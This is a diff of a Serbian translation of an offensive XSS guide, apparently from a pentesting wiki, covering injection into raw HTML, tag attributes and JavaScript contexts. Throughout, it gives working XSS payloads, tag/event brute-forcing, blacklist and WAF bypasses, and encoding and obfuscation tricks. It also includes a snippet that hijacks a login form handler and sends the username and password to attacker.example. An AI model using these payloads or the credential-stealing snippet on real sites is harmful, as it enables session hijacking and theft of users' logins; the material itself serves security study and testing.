-Međutim, obično su endpointi koji izvršavaju naznačenu funkciju endpointi bez mnogo zanimljivog DOM-a; **other pages in the same origin** obično imaju **zanimljiviji DOM** za izvođenje dodatnih akcija.
+Međutim, obično su endpointi koji izvršavaju naznačenu funkciju endpointi bez mnogo zanimljivog DOM-a, **other pages in the same origin** će imati **more interesting DOM** za izvođenje više akcija.
 
-Zbog toga, kako bi se **iskoristila ova ranjivost u drugom DOM-u**, razvijena je eksploatacija **Same Origin Method Execution (SOME)**:
+Stoga, da biste **abuse this vulnerability in a different DOM**, razvijen je exploit za **Same Origin Method Execution (SOME)**:
 
 
 {{#ref}}
@@ -129,7 +129,7 @@ some-same-origin-method-execution.md
 
 ### DOM
 
-Postoji **JS code** koji **nesigurno** koristi neke **podatke pod kontrolom napadača** kao što je `location.href`. Napadač to može zloupotrebiti da izvrši proizvoljan JS kod.
+Postoji **JS code** koji nesigurno koristi neke **podatke kontrolisane od strane napadača** kao što je `location.href`. Napadač ovo može iskoristiti da izvrši proizvoljan JS код.
 
 
 {{#ref}}
@@ -138,8 +138,8 @@ dom-xss.md
 
 ### **Universal XSS**
 
-Ovakve vrste XSS mogu se naći **bilo gde**. Ne zavise samo od iskorišćavanja klijenta web aplikacije već od **bilo kog** **konteksta**. Ovakva **arbitrary JavaScript execution** može čak biti zloupotrebljena za dobijanje **RCE**, **čitati** **proizvoljne** **fajlove** na klijentima i serverima, i još mnogo toga.\
-Neki **primeri**:
+Ovakve vrste XSS mogu se naći **anywhere**. One ne zavise samo od exploitatovanja klijenta web aplikacije već od **any** **context**. Ovakve vrste **arbitrary JavaScript execution** mogu čak biti iskorišćene da dovedu do **RCE**, da **read** **arbitrary** **files** na klijentima i serverima, i još mnogo toga.\
+Neki **examples**:
 
 
 {{#ref}}
@@ -157,11 +157,11 @@ server-side-xss-dynamic-pdf.md
 
 ## Injecting inside raw HTML
 
-Kada je vaš unos reflektovan **inside the HTML page** ili možete izaći iz konteksta i ubaciti HTML kod u tom kontekstu, **prva** stvar koju treba da uradite je da proverite da li možete zloupotrebiti `<` za kreiranje novih tagova: jednostavno pokušajte da **reflektujete** taj **karakter** i proverite da li se **HTML enkoduje**, briše ili se **reflektuje bez izmena**. **Samo u poslednjem slučaju moći ćete da iskoristite ovu ranjivost**.\
-Za ove slučajeve takođe **imajte na umu** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
-_**Napomena: A HTML comment can be closed using\*\***\***\*`-->`\*\***\***\*or \*\***`--!>`\*\*_ 
+Kada je vaš unos reflektovan **inside the HTML page** ili možete da escape-ujete i ubacite HTML kod u ovom kontekstu, prva stvar koju treba da uradite je da proverite da li možete da zloupotrebite `<` za kreiranje novih tagova: jednostavno pokušajte da **reflect** taj **char** i proverite da li je **HTML encoded** ili **deleted** ili da li je **reflected without changes**. **Samo u poslednjem slučaju ćete moći da iskoristite ovu situaciju**.\
+Za ove slučaje takođe **keep in mind** [**Client Side Template Injection**](../client-side-template-injection-csti.md).\
+_**Napomena: HTML komentar se može zatvoriti koristeći `-->` ili `--!>`**_
 
-U ovom slučaju i ako se ne koristi black/whitelisting, možete koristiti payloads like:
+U ovom slučaju, i ako se ne koristi black/whitelisting, možete koristiti payloads poput:
 ```html
 <script>
 alert(1)
@@ -169,22 +169,22 @@ alert(1)
 <img src="x" onerror="alert(1)" />
 <svg onload=alert('XSS')>
 ```
-Međutim, ako se koristi tags/attributes black/whitelisting, moraćete da **brute-force which tags** možete kreirati.\
-Kada ste **otkrili koji tagovi su dozvoljeni**, trebaće da **brute-force attributes/events** unutar pronađenih validnih tagova da biste videli kako možete napasti kontekst.
+Međutim, ako se koristi black/whitelisting tagova/atributa, moraćete da **brute-force koje tags** možete kreirati.\
+Kada otkrijete koji su **tags dozvoljeni**, treba da **brute-force attributes/events** unutar pronađenih validnih tagova da biste videli kako možete napasti kontekst.
 
 ### Tags/Events brute-force
 
-Idite na [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) i kliknite na _**Copy tags to clipboard**_. Zatim pošaljite sve njih koristeći Burp intruder i proverite da li neki tag nije označen kao maliciozan od strane WAF-a. Kada otkrijete koje tagove možete koristiti, možete **brute force all the events** koristeći validne tagove (na istoj web stranici kliknite na _**Copy events to clipboard**_ i sledite isti postupak kao i ranije).
+Idite na [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) i kliknite na _**Copy tags to clipboard**_. Zatim pošaljite sve tagove koristeći Burp intruder i proverite da li neki tag nije označen kao maliciozan od strane WAF-a. Kada otkrijete koje tags možete koristiti, možete **brute force all the events** koristeći validne tagove (na istoj web stranici kliknite na _**Copy events to clipboard**_ i sledite istu proceduru kao ranije).
 
-### Prilagođeni tagovi
+### Custom tags
 
-Ako niste pronašli nijedan validan HTML tag, možete pokušati da **kreirate prilagođeni tag** i izvršite JS kod pomoću atributa `onfocus`. U XSS zahtevu, potrebno je da završite URL sa `#` da bi se stranica fokusirala na taj objekat i izvršila kod:
+Ako niste našli nijedan validan HTML tag, možete pokušati da **create a custom tag** i izvršite JS kod pomoću `onfocus` atributa. U XSS zahtevu, potrebno je da završite URL sa `#` kako biste naterali stranicu da se fokusira na taj objekat i izvrši kod:
 ```
 /?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
 ```
 ### Blacklist Bypasses
 
-Ako se koristi neka vrsta blacklist-a, možete pokušati da je bypass-ujete nekim smešnim trikovima:
+Ako se koristi neka vrsta blacklist-a, možete pokušati da je bypass-ujete pomoću nekih jednostavnih trikova:
 ```javascript
 //Random capitalization
 <script> --> <ScrIpT>
@@ -234,31 +234,31 @@ onerror=alert`1`
 //Use more than one
 <<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
 ```
-### Zaobilaženje dužine (small XSSs)
+### Length bypass (small XSSs)
 
-> [!NOTE] > **Više Tiny XSS payload-a za različita okruženja** mogu se pronaći [**ovde**](https://github.com/terjanq/Tiny-XSS-Payloads) i [**ovde**](https://tinyxss.terjanq.me).
+> [!NOTE] > **Više tiny XSS za različita okruženja** payload [**može se naći ovde**](https://github.com/terjanq/Tiny-XSS-Payloads) i [**ovde**](https://tinyxss.terjanq.me).
 ```html
 <!-- Taken from the blog of Jorge Lajara -->
 <svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
 ```
-The last one is using 2 unicode characters which expands to 5: telsr\
-More of these characters can be found [here](https://www.unicode.org/charts/normalization/).\
-To check in which characters are decomposed check [here](https://www.compart.com/en/unicode/U+2121).
+Poslednji koristi 2 unicode karaktera koja se prošire na 5: telsr\
+Više ovakvih karaktera može se naći [ovde](https://www.unicode.org/charts/normalization/).\
+Da proverite na koje se karaktere decomponuje pogledajte [ovde](https://www.compart.com/en/unicode/U+2121).
 
 ### Click XSS - Clickjacking
 
-Ako je za iskorišćavanje ranjivosti potrebno da **korisnik klikne na link ili formu** sa unapred popunjenim podacima, možete pokušati da [**iskoristite Clickjacking**](../clickjacking.md#xss-clickjacking) (ako je stranica ranjiva).
+Ako je za iskorišćavanje ranjivosti potrebno da **korisnik klikne na link ili formu** sa unapred popunjenim podacima, možete pokušati da [**abuse Clickjacking**](../clickjacking.md#xss-clickjacking) (ako je stranica ranjiva).
 
 ### Impossible - Dangling Markup
 
-Ako mislite da je **nemoguće kreirati HTML tag sa atributom koji izvršava JS kod**, proverite [**Danglig Markup** ](../dangling-markup-html-scriptless-injection/index.html) jer biste mogli **iskoristiti** ranjivost **bez** izvršavanja **JS** koda.
+Ako mislite da je **nemoguće napraviti HTML tag sa attribute koji izvršava JS kod**, treba da pogledate [**Danglig Markup** ](../dangling-markup-html-scriptless-injection/index.html) jer biste mogli **iskoristiti** ranjivost **bez** izvršavanja **JS** koda.
 
 ## Injecting inside HTML tag
 
-### Unutar taga / izlazak iz vrednosti atributa
+### Inside the tag/escaping from attribute value
 
-Ako se nalazite **unutar HTML taga**, prva stvar koju možete pokušati je da **izađete** iz taga i iskoristite neke od tehnika pomenutih u [prethodnom odeljku](#injecting-inside-raw-html) da biste izvršili **JS** kod.\
-Ako **ne možete izaći iz taga**, možete kreirati nove atribute unutar taga da biste pokušali izvršiti **JS** kod, na primer koristeći neki payload kao (_napomena da se u ovom primeru dvostruki navodnici koriste da bi se izašlo iz atributa, neće vam trebati ako je vaš unos direktno reflektovan unutar taga_):
+Ako se nalazite **inside a HTML tag**, prva stvar koju možete pokušati je da **escape** iz taga i iskoristite neke od tehnika pomenutih u [prethodnom odeljku](#injecting-inside-raw-html) da izvršite **JS** kod.\
+Ako **ne možete escape-ovati iz taga**, možete kreirati nove attribute unutar taga kako biste pokušali da izvršite **JS** kod, na primer koristeći payload poput (_napomena: u ovom primeru double quotes služe za escape iz attribute, neće vam biti potrebni ako je vaš unos reflektovan direktno unutar taga_):
 ```bash
 " autofocus onfocus=alert(document.domain) x="
 " onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
@@ -275,14 +275,14 @@ Ako **ne možete izaći iz taga**, možete kreirati nove atribute unutar taga da
 ```
 ### Unutar atributa
 
-Čak i ako **ne možete pobeći iz atributa** (`"` se enkodira ili briše), u zavisnosti od **koji atribut** u kojem se vaša vrednost reflektuje, i **da li kontrolišete celu vrednost ili samo njen deo**, moći ćete to da zloupotrebite. Na **primer**, ako kontrolišete event kao što je `onclick=` bićete u stanju da ga naterate da izvrši proizvoljan kod kada se klikne.\
-Još jedan zanimljiv **primer** je atribut `href`, gde možete koristiti `javascript:` protokol da izvršite proizvoljan kod: **`href="javascript:alert(1)"`**
+Čak i ako **ne možete da pobegnete iz atributa** (`"` se enkoduje ili briše), u zavisnosti od **koji atribut** odražava vašu vrednost **da li kontrolišete celu vrednost ili samo njen deo** moći ćete to da zloupotrebite. Na **primer**, ako kontrolišete event kao što je `onclick=` moći ćete da natjerate da izvrši proizvoljni kod kada se klikne.\
+Drugi interesantan **primer** je atribut `href`, gde možete koristiti `javascript:` protokol da izvršite proizvoljni kod: **`href="javascript:alert(1)"`**
 
-**Zaobilaženje unutar eventa korišćenjem HTML enkodiranja/URL enkodiranja**
+**Bypass inside event using HTML encoding/URL encode**
 
-Karakteri koji su **HTML enkodovani** unutar vrednosti atributa HTML tagova se **dekodiraju pri izvršavanju**. Dakle, nešto poput sledećeg biće validno (payload je u podebljanom tekstu): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Go Back </a>`
+The **HTML encoded characters** inside the value of HTML tags attributes are **decoded on runtime**. Therefore something like the following will be valid (the payload is in bold): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Go Back </a>`
 
-Imajte na umu da je **bilo koja vrsta HTML enkodiranja validna**:
+Note that **any kind of HTML encode is valid**:
 ```javascript
 //HTML entities
 &apos;-alert(1)-&apos;
@@ -299,19 +299,19 @@ Imajte na umu da je **bilo koja vrsta HTML enkodiranja validna**:
 <a href="&#106;avascript:alert(2)">a</a>
 <a href="jav&#x61script:alert(3)">a</a>
 ```
-**Imajte na umu da će URL encode takođe raditi:**
+**Imajte na umu da će i URL encode raditi:**
 ```python
 <a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
 ```
-**Bypass unutar događaja koristeći Unicode encode**
+**Bypass unutar event-a koristeći Unicode enkodovanje**
 ```javascript
 //For some reason you can use unicode to encode "alert" but not "(1)"
 <img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
 <img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
 ```
-### Posebni protokoli unutar atributa
+### Specijalni protokoli unutar atributa
 
-Tamo možete koristiti protokole **`javascript:`** ili **`data:`** na nekim mestima da **izvršite proizvoljan JS kod**. Neki će zahtevati interakciju korisnika, neki neće.
+Tamo možete koristiti protokole **`javascript:`** ili **`data:`** na nekim mestima da biste **izvršili proizvoljan JS kod**. Neki će zahtevati interakciju korisnika, neki neće.
 ```javascript
 javascript:alert(1)
 JavaSCript:alert(1)
@@ -333,7 +333,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
 ```
 **Mesta gde možete ubaciti ove protokole**
 
-**Uopšteno** protokol `javascript:` može biti **korišćen u bilo kom tagu koji prihvata atribut `href`** i u **većini** tagova koji prihvataju **atribut `src`** (ali ne `<img`)
+**Uopšteno** protokol `javascript:` može biti **korišćen u bilo kojem tagu koji prihvata atribut `href`** i u **većini** tagova koji prihvataju **atribut `src`** (ali ne `<img`)
 ```html
 <a href="javascript:alert(1)">
 <a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
@@ -353,19 +353,19 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
 <embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
 <iframe srcdoc="<svg onload=alert(4);>">
 ```
-**Drugi trikovi obfuskacije**
+**Other obfuscation tricks**
 
-_**U ovom slučaju HTML encoding i Unicode encoding trik iz prethodnog odeljka takođe važi jer se nalazite unutar atributa.**_
+_**U ovom slučaju HTML encoding i Unicode encoding trik iz prethodnog odeljka takođe važi, jer se nalazite unutar atributa.**_
 ```javascript
 <a href="javascript:var a='&apos;-alert(1)-&apos;'">
 ```
-Štaviše, postoji još jedan **lep trik** za ove slučajeve: **Čak i ako je vaš unos unutar `javascript:...` URL encoded, biće URL decoded pre nego što se izvrši.** Dakle, ako treba da **pobegnete** iz **stringa** koristeći **jednostruki navodnik** i vidite da **je URL encoded**, zapamtite da **to nije važno,** biće **interpretirano** kao **jednostruki navodnik** tokom **vremena izvršavanja**.
+Štaviše, postoji još jedan **nice trick** za ove slučajeve: **Čak i ako je vaš unos unutar `javascript:...` URL encoded, biće URL decoded pre nego što se izvrši.** Dakle, ako treba da **escape** iz **string** koristeći **single quote** i vidite da **it's being URL encoded**, zapamtite da **it doesn't matter,** biće **interpreted** kao **single quote** tokom **execution** time.
 ```javascript
 &apos;-alert(1)-&apos;
 %27-alert(1)-%27
 <iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
 ```
-Imajte na umu da ako pokušate da **koristite oba** `URLencode + HTMLencode` u bilo kom redosledu da enkodujete **payload** to **neće** **raditi**, ali možete **ih pomešati unutar payload-a**.
+Imajte na umu da ako pokušate da **koristite oba** `URLencode + HTMLencode` u bilo kom redosledu da enkodujete **payload**, to **neće** **raditi**, ali možete **mešati ih unutar payload-a**.
 
 **Korišćenje Hex i Octal encode sa `javascript:`**
 
@@ -385,16 +385,17 @@ Možete koristiti **Hex** i **Octal encode** unutar `src` atributa `iframe` (naj
 ```javascript
 <a target="_blank" rel="opener"
 ```
-Ako možete da ubacite bilo koji URL u proizvoljan **`<a href=`** tag koji sadrži atribute **`target="_blank" and rel="opener"`**, pogledajte **sledeću stranicu da iskoristite ovo ponašanje**:
+Ako možete ubaciti bilo koji URL u proizvoljan **`<a href=`** tag koji sadrži atribute **`target="_blank" and rel="opener"`**, pogledajte **sledeću stranicu da biste iskoristili ovo ponašanje**:
+
 
 {{#ref}}
 ../reverse-tab-nabbing.md
 {{#endref}}
 
-### on Event Handlers Bypass
+### Zaobilaženje 'on' event handlers
 
-Prvo proverite ovu stranicu ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) za korisne **"on" event handlers**.\
-U slučaju da postoji neka blacklist koja vam onemogućava kreiranje ovih event handlers, možete pokušati sledeće bypasses:
+Najpre pogledajte ovu stranicu ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) za korisne **"on" event handlers**.\
+Ako neka crna lista sprečava kreiranje ovih event handlera, možete pokušati sledeće zaobilaženja:
 ```javascript
 <svg onload%09=alert(1)> //No safari
 <svg %09onload=alert(1)>
@@ -409,14 +410,14 @@ Firefox: %09 %20 %28 %2C %3B
 Opera: %09 %20 %2C %3B
 Android: %09 %20 %28 %2C %3B
 ```
-### XSS u "Unexploitable tags" (hidden input, link, canonical, meta)
+### XSS u "oznakama koje se ne mogu iskoristiti" (hidden input, link, canonical, meta)
 
 Iz [**here**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **sada je moguće zloupotrebiti hidden inputs pomoću:**
 ```html
 <button popvertarget="x">Click me</button>
 <input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
 ```
-I u **meta tagovima**:
+I u **meta tags**:
 ```html
 <!-- Injection inside meta attribute-->
 <meta
@@ -430,15 +431,15 @@ onbeforetoggle="alert(2)" />
 <button popovertarget="newsletter">Subscribe to newsletter</button>
 <div popover id="newsletter">Newsletter popup</div>
 ```
-From [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): Možete izvršiti **XSS payload inside a hidden attribute**, pod uslovom da uspete da **nagovorite** **žrtvu** da pritisne **kombinaciju tastera**. U Firefoxu na Windows/Linux kombinacija tastera je **ALT+SHIFT+X**, a na OS X je **CTRL+ALT+X**. Možete odrediti drugu kombinaciju tastera koristeći drugačiji taster u access key attribute. Evo vektora:
+Iz [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): Možete izvršiti **XSS payload unutar skrivenog atributa**, pod uslovom da uspete da **persuade** **victim** da pritisne **key combination**. Na Firefox (Windows/Linux) kombinacija tastera je **ALT+SHIFT+X**, a na OS X je **CTRL+ALT+X**. Možete odrediti drugačiju kombinaciju tastera koristeći drugi taster u access key attribute. Evo vektora:
 ```html
 <input type="hidden" accesskey="X" onclick="alert(1)">
 ```
-**The XSS payload će biti nešto poput ovoga: `" accesskey="x" onclick="alert(1)" x="`**
+**The XSS payload će biti nešto ovako: `" accesskey="x" onclick="alert(1)" x="`**
 
 ### Blacklist Bypasses
 
-Several tricks with using different encoding were exposed already inside this section. Go **back to learn where can you use:**
+Neki trikovi sa korišćenjem različitih enkodiranja već su objašnjeni u ovom odeljku. Vratite se da naučite gde možete koristiti:
 
 - **HTML encoding (HTML tags)**
 - **Unicode encoding (can be valid JS code):** `\u0061lert(1)`
@@ -452,23 +453,23 @@ Pročitajte [ Blacklist Bypasses of the previous section](#blacklist-bypasses).
 
 **Bypasses for JavaScript code**
 
-Pročitajte [JavaScript bypass blacklist of the following section](#javascript-bypass-blacklists-techniques).
+Pročitajte J[avaScript bypass blacklist of the following section](#javascript-bypass-blacklists-techniques).
 
 ### CSS-Gadgets
 
-If you found a **XSS in a very small part** of the web that requires some kind of interaction (maybe a small link in the footer with an onmouseover element), you can try to **modify the space that element occupies** to maximize the probabilities of have the link fired.
+Ako ste pronašli **XSS u vrlo malom delu** veba koji zahteva neku interakciju (možda mali link u footer-u sa onmouseover elementom), možete pokušati da **izmenite prostor koji taj element zauzima** kako biste povećali verovatnoću da se link aktivira.
 
-For example, you could add some styling in the element like: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
+Na primer, možete dodati stil u element kao: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
 
-But, if the WAF is filtering the style attribute, you can use CSS Styling Gadgets, so if you find, for example
+Ali, ako WAF filtrira atribut style, možete koristiti CSS Styling Gadgets, pa ako nađete, na primer
 
 > .test {display:block; color: blue; width: 100%\}
 
-and
+i
 
 > \#someid {top: 0; font-family: Tahoma;}
 
-Now you can modify our link and bring it to the form
+Sada možete modifikovati naš link i dovesti ga u formu
 
 > \<a href="" id=someid class=test onclick=alert() a="">
 
@@ -476,19 +477,19 @@ Ovaj trik je preuzet sa [https://medium.com/@skavans\_/improving-the-impact-of-a
 
 ## Injecting inside JavaScript code
 
-U tim slučajevima vaš **input** biće **reflektovan unutar JS koda** u `.js` fajlu ili između `<script>...</script>` tagova ili između HTML events koji mogu izvršiti JS kod ili između atributa koji prihvataju `javascript:` protokol.
+U ovom slučaju, vaš **input** će biti **reflektovan unutar JS koda** .js fajla ili između `<script>...</script>` tagova ili između HTML događaja koji mogu izvršavati JS kod ili između atributa koji prihvataju `javascript:` protokol.
 
 ### Escaping \<script> tag
 
-Ako se vaš kod ubacuje unutar `<script> [...] var input = 'reflected data' [...] </script>` možete lako **escape-ovati zatvaranje `<script>`** taga:
+Ako je vaš kod ubačen unutar `<script> [...] var input = 'reflected data' [...] </script>` lako možete prekinuti zatvaranje `<script>` taga:
 ```javascript
 </script><img src=1 onerror=alert(document.domain)>
 ```
-Obratite pažnju da u ovom primeru mi **nismo čak ni zatvorili jednostruki navodnik**. To je zato što se **HTML parsiranje prvo vrši u pregledaču**, što podrazumeva identifikaciju elemenata stranice, uključujući blokove skripti. Parsiranje JavaScript-a radi razumevanja i izvršavanja ugrađenih skripti obavlja se tek nakon toga.
+Obratite pažnju da u ovom primeru **čak nismo ni zatvorili apostrof**. To je zato što se **HTML parsing prvo obavlja od strane browser-a**, što uključuje identifikovanje elemenata stranice, uključujući blokove script. Parsiranje JavaScript-a da bi se razumeli i izvršili ugrađeni skriptovi sprovodi se tek nakon toga.
 
 ### Unutar JS koda
 
-Ako se `<>` sanitizuju, i dalje možete **escape the string** gde je vaš unos **located** i **execute arbitrary JS**. Važno je **fix JS syntax**, jer ako postoje bilo kakve greške, JS code se neće izvršiti:
+Ako se `<>` filtriraju, i dalje možete **escape-ovati string** tamo gde se vaš unos **nalazi** i **izvršiti proizvoljan JS**. Važno je **popraviti JS sintaksu**, jer ako postoje greške, JS kod se neće izvršiti:
 ```
 '-alert(document.domain)-'
 ';alert(document.domain)//
@@ -496,23 +497,23 @@ Ako se `<>` sanitizuju, i dalje možete **escape the string** gde je vaš unos *
 ```
 #### JS-in-JS string break → inject → repair pattern
 
-Kada korisnički unos dospe unutar navedenog JavaScript string-a (npr. server-side echo u inline script), možete prekinuti string, inject kod i popraviti sintaksu kako bi parsiranje ostalo ispravno. Opšti kostur:
+Kada korisnički unos dospe unutar navodnog JavaScript stringa (npr., server-side echo into an inline script), možete prekinuti string, inject code i popraviti sintaksu da bi parsiranje ostalo validno. Generički kostur:
 ```
 "            // end original string
 ;            // safely terminate the statement
 <INJECTION>  // attacker-controlled JS
 ; a = "      // repair and resume expected string/statement
 ```
-Primer URL obrasca kada se ranjiv parametar reflektuje u JS stringu:
+Primer URL obrasca kada se ranjivi parametar reflektuje u JS string:
 ```
 ?param=test";<INJECTION>;a="
 ```
-Ovo izvršava napadačev JS bez potrebe da se dira HTML kontekst (pure JS-in-JS). Kombinujte sa blacklist bypasses ispod kada filters blokiraju keywords.
+Ovo izvršava napadačev JS bez potrebe da se dira HTML kontekst (pure JS-in-JS). Kombinujte sa blacklist bypasses ispod kada filteri blokiraju ključne reči.
 
 ### Template literals ``
 
-Da bi se konstruisali **strings**, pored single i double quotes, JS takođe prihvata **backticks** **` `` `**. Ovo je poznato kao template literals jer omogućavaju **embedded JS expressions** koristeći `${ ... }` sintaksu.\
-Dakle, ako otkrijete da je vaš input **reflected** unutar JS stringa koji koristi backticks, možete zloupotrebiti sintaksu `${ ... }` da izvršite **arbitrary JS code**:
+Da biste konstruisali **strings**, pored jednostrukih i dvostrukih navodnika, JS takođe prihvata **backticks** **` `` `**. Ovo je poznato kao template literals jer omogućavaju da se **embedded JS expressions** koriste pomoću `${ ... }` sintakse.\
+Stoga, ako otkrijete da je vaš unos **reflected** unutar JS stringa koji koristi backticks, možete zloupotrebiti sintaksu `${ ... }` da izvršite **arbitrary JS code**:
 
 Ovo se može **zloupotrebiti** koristeći:
 ```javascript
@@ -526,21 +527,21 @@ return loop
 }
 loop``
 ```
-### Izvršavanje enkodiranog koda
+### Enkodirano code execution
 ```html
 <script>\u0061lert(1)</script>
 <svg><script>alert&lpar;'1'&rpar;
 <svg><script>alert(1)</script></svg>  <!-- The svg tags are neccesary
 <iframe srcdoc="<SCRIPT>alert(1)</iframe>">
 ```
-#### Dostavljivi payloadi sa eval(atob()) i nijanse opsega
+#### Isporučivi payloads sa eval(atob()) i nijansama opsega
 
-Da biste skratili URL-ove i zaobišli naivne filtere po ključnim rečima, možete base64-encode-ovati svoju stvarnu logiku i izvršiti je pomoću `eval(atob('...'))`. Ako jednostavno filtriranje po ključnim rečima blokira identifikatore kao što su `alert`, `eval` ili `atob`, koristite Unicode-escapeovane identifikatore koji se kompajliraju identično u browseru, ali zaobilaze filtere koji traže podudaranje stringova:
+Da biste držali URLs kraćim i zaobišli naivne filtere po ključnim rečima, možete base64-encode-ovati svoju pravu logiku i izvršiti je pomoću `eval(atob('...'))`. Ako jednostavno filtriranje po ključnim rečima blokira identifikatore kao što su `alert`, `eval` ili `atob`, koristite Unicode-escaped identifikatore koji se u pregledaču izvršavaju identično, ali zaobilaze filtre koji rade podudaranje stringova:
 ```
 \u0061\u006C\u0065\u0072\u0074(1)                      // alert(1)
 \u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64'))  // eval(atob('...'))
 ```
-Važna napomena o opsegu: `const`/`let` deklarisani unutar `eval()` su ograničeni na blok i NE kreiraju globals; neće biti dostupni kasnijim skriptama. Koristite dinamički umetnut `<script>` element da definišete globalne, ne-rebindable hook-ove kada je potrebno (e.g., to hijack a form handler):
+Važna nijansa opsega: `const`/`let` deklarisani unutar `eval()` su block-scoped i NE kreiraju globalne promenljive; neće biti dostupni kasnijim skriptama. Koristite dinamički umetnut `<script>` element da, kad je potrebno, definišete globalne hook-ove koje nije moguće ponovo dodeliti (npr. za presretanje handler-a forme):
 ```javascript
 var s = document.createElement('script');
 s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
@@ -548,13 +549,13 @@ document.head.appendChild(s);
 ```
 Referenca: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
 
-### Unicode enkodiranje za izvršavanje JS
+### Unicode Encode JS izvršavanje
 ```javascript
 alert(1)
 alert(1)
 alert(1)
 ```
-### Tehnike za zaobilaženje blacklist-a u JavaScript
+### JavaScript tehnike za zaobilaženje crnih lista
 
 **Strings**
 ```javascript
@@ -573,7 +574,7 @@ String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
 atob("dGhpc2lzYXN0cmluZw==")
 eval(8680439..toString(30))(983801..toString(36))
 ```
-**Posebni escape-ovi**
+**Posebni escape karakteri**
 ```javascript
 "\b" //backspace
 "\f" //form feed
@@ -587,12 +588,12 @@ eval(8680439..toString(30))(983801..toString(36))
 "\t" //tab
 // Any other char escaped is just itself
 ```
-**Zamene razmaka unutar JS koda**
+**Zamene razmaka unutar JS code**
 ```javascript
 <TAB>
 /**/
 ```
-**JavaScript comments (iz** [**JavaScript Comments**](#javascript-comments) **trik)**
+**JavaScript comments (iz** [**JavaScript Comments**](#javascript-comments) **trika)**
 ```javascript
 //This is a 1 line comment
 /* This is a multiline comment*/
@@ -629,7 +630,7 @@ console.log(log)
 //Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
 <img/src/onerror=alert&#65279;(1)>
 ```
-**Javascript u komentaru**
+**Javascript unutar komentara**
 ```javascript
 //If you can only inject inside a JS comment, you can still leak something
 //If the user opens DevTools request to the indicated sourceMappingURL will be send
@@ -715,7 +716,7 @@ try{throw onerror=alert}catch{throw 1}
 - [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
 - [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)
 
-**Poziv proizvoljne funkcije (alert)**
+**Proizvoljan poziv funkcije (alert)**
 ```javascript
 //Eval like functions
 eval('ale'+'rt(1)')
@@ -777,45 +778,45 @@ top[8680439..toString(30)](1)
 ```
 ## **DOM vulnerabilities**
 
-Postoji **JS code** koji koristi **nebezbedne podatke koje kontroliše napadač** kao što je `location.href`. Napadač može iskoristiti ovo za izvršavanje proizvoljnog JS koda.\
-**Zbog obimnosti objašnjenja** [**DOM vulnerabilities it was moved to this page**](dom-xss.md)**:**
+Postoji **JS code** koji koristi **nesigurne podatke koje kontroliše napadač** kao što je `location.href`. Napadač može to zloupotrebiti da izvrši proizvoljan JS kod.\
+**Zbog obimnijeg objašnjenja** [**DOM vulnerabilities it was moved to this page**](dom-xss.md)**:**
 
 
 {{#ref}}
 dom-xss.md
 {{#endref}}
 
-Tamo ćete naći detaljno **objašnjenje šta su DOM vulnerabilities, kako nastaju, i kako ih eksploatisati**.\
-Takođe, ne zaboravite da **na kraju pomenutog posta** možete pronaći objašnjenje o [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering).
+Tamo ćete naći detaljno **objašnjenje šta su DOM vulnerabilities, kako nastaju i kako ih iskoristiti**.\
+Takođe, ne zaboravite da **na kraju pomenutog posta** možete naći objašnjenje o [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering).
 
 ### Upgrading Self-XSS
 
 ### Cookie XSS
 
-Ako možete pokrenuti XSS slanjem payload-a unutar cookie-ja, to je obično self-XSS. Međutim, ako pronađete **vulnerable subdomain to XSS**, možete zloupotrebiti ovaj XSS da ubacite cookie za ceo domen i time pokrenete cookie XSS u glavnom domenu ili drugim poddomenima (onima ranjivim na cookie XSS). Za ovo možete koristiti cookie tossing attack:
